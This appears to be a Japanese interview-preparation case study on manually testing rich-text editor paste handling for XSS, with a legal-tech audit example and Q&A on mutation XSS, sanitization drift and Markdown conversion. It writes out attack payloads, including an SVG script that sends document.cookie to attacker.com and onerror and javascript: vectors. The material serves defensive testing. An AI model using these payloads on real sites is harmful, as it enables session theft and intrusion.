歴史: リッチテキストエディタ(RTE)はコンテンツ管理システムで広く普及していますが、重要な攻撃面を表しています。ユーザーがMicrosoft WordやGoogle Docsからコンテンツをコピーすると、クリップボードには独自のメタデータ、インラインスタイル、およびSVGタグやCSS式に隠れた悪意のあるペイロードを含むリッチHTMLが含まれます。主な問題は、単純なサニタイズが可視のフォーマットを削除しながら、実行可能なスクリプトを見逃す可能性があることです。または、逆に、過剰にサニタイズして複雑なテーブルのような正当な意味構造を破壊してしまうことです。体系的な手動テスト方法論を採用し、セキュリティ(XSSなし)と忠実度(構造が保持されている)を検証する必要があります。
解決策: 三段階のクリップボード攻撃プロトコルを実装します:
ベクター準備: スクリプトを含む埋め込み <foreignObject>を持つSVG、レガシーIE用のCSS behavior: url(#default#VML)、エンティティエンコードされたjavascript:プロトコルを持つHTML、およびブラウザのパーサーのクイックに対抗するように設計された誤ったHTML5タグ(例: <noscript><img src=x onerror=alert(1)></noscript>)を含むペーストペイロードのライブラリをキュレーションします。
クロスエンジンペーストシミュレーション: 実際のコピー&ペースト操作(タイプではなく)を行いますWord(トラッキングされた変更、コメント、および埋め込まれたExcelオブジェクトを含む)、Google Docs(提案された編集と埋め込まれた描画を含む)、およびブラウザのDevToolsからコピーされた生のHTML。Chrome、Safari、Firefox、およびEdgeで別々にテストを行います。それぞれがクリップボードのMIMEタイプ(text/html対application/rtf)を異なるように処理します。
状態確認: ペースト後、DevToolsを使用してDOMを確認し、on*イベントハンドラ、javascript: URL、および<script>タグが存在しないことを確認し、セマンティック要素(<thead>、<colgroup>、ネストされたリスト)がそのまま残っていることを検証します。次に、コンテンツを保存し、ページを再ロードして、さらなる再レンダリング中にブラウザのパーサーがスクリプトを再生するなどの変異XSSを検出するために、シリアル化されたHTMLを再確認します。
問題: 法律テクノロジーのスタートアップが、弁護士がMicrosoft Wordから条項をペーストする契約レビューアプリケーションを開発しました。セキュリティ監査により、ベンダーロゴを含む契約(SVG形式)が、レビューダッシュボードで表示されたときに任意のJavaScriptを実行していることが明らかになりました。SVGファイルには、<foreignObject>タグ内に<script>fetch('https://attacker.com?cookie='+document.cookie)</script>が含まれていました。エディタはそれらを無害な画像として表示しましたが、PostgreSQLデータベースに保存された生のHTMLは、二次的なサニタイズなしにReactで使用されたdangerouslySetInnerHTMLで実行されました。
検討された解決策:
解決策A: すべてのHTMLを削除し、プレーンテキストに変換する。 利点: 絶対的なセキュリティ保証; XSSなし。欠点: 弁護士は契約のサブ条項のインデンテーション、リスク評価のための色付きハイライト、および料金表のためのテーブル構造など、重要なフォーマットを失いました。これにより、アプリケーションは法的ワークフローに対して無効となり、即座にユーザーに拒否されました。
解決策B: クライアントサイドのDOMPurifyのみに依存し、緩やかな設定を使用する。 利点: ユーザーエクスペリエンスとフォーマットを保持; 実装が簡単。欠点: クライアントサイドのサニタイズは、悪意のあるペイロードを持つREST APIを直接呼び出すことでバイパスされる可能性があり、エディタを完全にバイパスします。さらに、DOMPurifyのデフォルト設定は、特定のAndroid WebViewバージョンで実行されるSVGタグやデータ属性を許可します。
解決策C: 即時フィードバックのために積極的なクライアントサイドのクリーンアップを実装し、OWASP Java HTML Sanitizerを使用して厳しいポリシーでサーバーサイドのサニタイズと組み合わせる。このポリシーは構造タグのみを許可します。 利点: APIレベルでのバイパス試行をキャッチ; 必要な法的フォーマットを許可しつつ、スクリプトを中和します。欠点: 2つのポリシー設定(フロントエンドおよびバックエンド)を維持する必要がある; 100ページ以上の契約を処理する際のパフォーマンスの低下のリスク; ポリシーの不一致がある場合の「同意ダイアログ」の可能性。
選択した解決策: 解決策Cを選択し、特にペースト操作のための手動QAチェックポイントを追加しました。QAチームは、75以上のCSPバイパスベクターを含む「悪意のあるクリップボードスイート」を作成しました。彼らは、DOMPurifyのALLOWED_URI_REGEXPがエンティティエンコードされたjavascript: URLを許可していることを発見しました。彼らはサニタイザーを構成し、すべてのSVGを静的<img>タグにベース64エンコーディングでフラットにし、すべてのインタラクティブ要素を取り除きました。
結果: 脆弱性は本番リリース前にパッチがあてられました。この方法論は、Safariのリーダーモードで実行可能なスクリプトに変異した2つの追加のmXSSベクターをキャッチしました。法務チームは完全なフォーマット機能を保持し、その後のペネトレーションテストではペーストパイプラインにおけるインジェクションベクターは見つかりませんでした。
ブラウザのパーサーが挿入後にサニタイズされた文字列を変更し、実行可能なスクリプトを再作成する変異XSS(mXSS)をどのように検出しますか?
多くの候補者は、エディタの「ソースビュー」またはDevToolsを使用してペースト直後のHTMLを検査します。しかし、mXSSの悪用は、サニタイズされた文字列がinnerHTMLに割り当てられ、ブラウザが解析し、その結果のDOMがパーサーの標準化(例:<noscript><img title="--><script>...の変異)により元の文字列と異なる場合に発生します。正しいアプローチは、ラウンドトリップテストを実施することです: 挿入後にelement.innerHTMLを使用してDOMを再シリアル化し、それを期待されたサニタイズ済みの出力と比較します。このシリアル化の後に新しい<script>タグやイベントハンドラが現れる場合、サニタイザーは脆弱です。さらに、サポートされていればIE11で特にテストします。なぜなら、誤ったテーブルのパーサーの動作がBlinkやGeckoとは大きく異なるからです。
エディタでコンテンツが正しく安全にペーストされるが、同じコンテンツが後でdangerouslySetInnerHTMLを介して読み取り専用のReactビューにロードされるとセキュリティ検証に失敗する理由は何でしょうか?
候補者はしばしば「文脈サニタイズのドリフト」を見逃します。リッチテキストエディタは編集コンテキストのためのサニタイズを行いますが、表示コンテキストは異なるReactバージョン、Content Security Policyヘッダー、またはコンテンツを再解析する追加のJavaScriptライブラリを使用する可能性があります。回答は、保存されたコンテンツをライフサイクル全体を通じて検証する必要があるということです: ペースト→APIに保存→APIから取得→読み取り専用ビューにレンダリング。具体的には、データベースの保存中に<が&lt;に変換されるような二重エンコーディングの問題や、エディタのUTF-8処理とデータベースの照合の間のUnicodeの正規化の違いを確認します。スマートクォート(カーブ状の引用符)やエムダッシュを含むペイロードでテストして、データベースのUTF-8MB4設定がマルチバイト文字を切り捨てないか、サニタイズ境界を破ることがないかを確認します。
アプリケーションが生のHTMLストレージではなく、Markdownベースのエディタ(CKEditor 5を持つMarkdown出力など)を使用している場合、サニタイズの動作を手動でどのように検証しますか?
これはフォーマット変換リスクの理解を試すものです。エディタがHTMLをMarkdownに変換する際(例: Turndown経由)、悪意のあるペイロードはMarkdownに対応するものがないHTML属性に隠れる可能性があり、完全に削除されないか、クリック時に実行されるリンク参照に変換される可能性があります。正しい方法論は次の通りです: (1) 悪意のあるHTMLをエディタにペーストする、(2) 危険な属性が削除されていることを確認するためにMarkdownソースビューに切り替える(視覚的に隠されているだけではない)、(3) HTMLに戻す(サポートされていれば)ことを確認し、ラウンドトリップがスクリプトを復活させないことを確認する、(4) Markdownリンク構文[text](javascript:alert(1))がパーサーのリンク検証正規表現によって明示的にブロックされていることを確認する(単にレンダラーによるものではない)。さらに、Markdownパーサーを破壊する可能性のあるHTMLコメント<!-- -->が除去されていることを確認して、敏感なサーバーサイドデータの漏洩を防ぎます。